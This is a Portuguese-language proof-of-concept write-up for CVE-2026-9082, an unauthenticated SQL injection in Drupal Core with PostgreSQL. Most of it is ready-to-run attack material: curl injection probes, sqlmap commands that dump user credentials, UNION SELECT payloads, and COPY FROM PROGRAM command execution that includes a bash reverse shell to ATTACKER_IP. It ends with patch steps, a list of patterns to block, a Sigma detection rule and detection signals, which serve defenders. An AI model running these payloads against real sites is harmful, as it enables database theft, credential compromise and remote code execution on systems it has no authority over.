
cve poc
Tipo: Injeção de SQL (CWE-89) Produto Afetado: Drupal Core (API de Abstração de Banco de Dados) Advisory do Drupal: SA-CORE-2026-004 Publicado: 20 de maio de 2026 Severidade: Altamente Crítico (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 é uma vulnerabilidade de Injeção de SQL na API de abstração de banco de dados do núcleo do Drupal. A camada de banco de dados do Drupal envolve o PDO e sanitiza todas as consultas antes que elas cheguem ao banco de dados. Esta vulnerabilidade contorna essa sanitização apenas para backends PostgreSQL — requisições HTTP especialmente elaboradas escapam da lógica de normalização, injetando fragmentos SQL controlados pelo atacante diretamente nas consultas ao banco de dados.
MySQL e MariaDB não são afetados pelo vetor de injeção, embora a versão de correção também inclua correções críticas de Symfony/Twig que se aplicam a todos os backends.
Pré-requisito: O alvo deve usar PostgreSQL como backend de banco de dados.
A camada de abstração de banco de dados do Drupal sanitiza valores por meio de consultas parametrizadas/declarações preparadas, mas depende do construtor de consultas para fornecer SQL estrutural confiável (nomes de campos, operadores, alvos de ORDER BY). O bug está na forma como o driver PostgreSQL lida com certos padrões de entrada ao construir consultas — o dialeto SQL do PostgreSQL difere do MySQL em aspectos importantes:
||::COPY ... FROM PROGRAMUma requisição elaborada introduz caracteres/sequências que passam pela sanitização de valor do Drupal, mas são interpretados como SQL estrutural pelo parser do PostgreSQL. A superfície de ataque é acessível sem autenticação por meio de qualquer endpoint que passe parâmetros controlados pelo usuário para consultas ao banco de dados (busca, filtros de view, envios de formulário, JSON:API, etc.).
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd' se o usuário do banco tiver privilégios de superusuárioAviso do próprio Drupal: "explorações podem ser desenvolvidas em horas ou dias após a divulgação" (consistente com CVEs históricos da camada de banco de dados do Drupal, como SA-CORE-2014-005 / Drupalgeddon).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
Bloqueie padrões: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
Garanta que o PostgreSQL escute apenas em localhost ou em uma interface privada; não acessível pela internet.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 é uma injeção de SQL sem autenticação no Drupal Core direcionada a backends PostgreSQL. Apesar de um CVSS moderado de 6.5 na NVD, o Drupal a classifica como 20/25 (Altamente Crítico) porque acesso não autenticado + COPY TO PROGRAM do PostgreSQL = RCE direto em ambientes mal configurados. A ampla faixa de versões afetadas e as correções inclusas de SSTI do Twig tornam este um patch crítico e urgente para todos os sites Drupal, especialmente aqueles com PostgreSQL em implantações expostas à internet.
Ação recomendada: Atualize imediatamente para a versão corrigida do seu branch. Verifique se o usuário da aplicação no banco de dados não é um superusuário do PostgreSQL.
| Branch | Vulnerável | Corrigida |
|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
| Origem | Sinal |
|---|
| Logs da web | pg_sleep, ::, UNION SELECT, --, COPY PROGRAM em strings de consulta |
| Logs do PostgreSQL | Erros de sintaxe correlacionados com os timestamps das requisições web |
| Watchdog do Drupal | Exceções de banco de dados de endpoints de search/view/jsonapi |
| auditd | postgres gerando processos filhos (COPY TO PROGRAM) |
| Tabela de usuários do Drupal | Novas linhas com o papel administrator e timestamps recentes |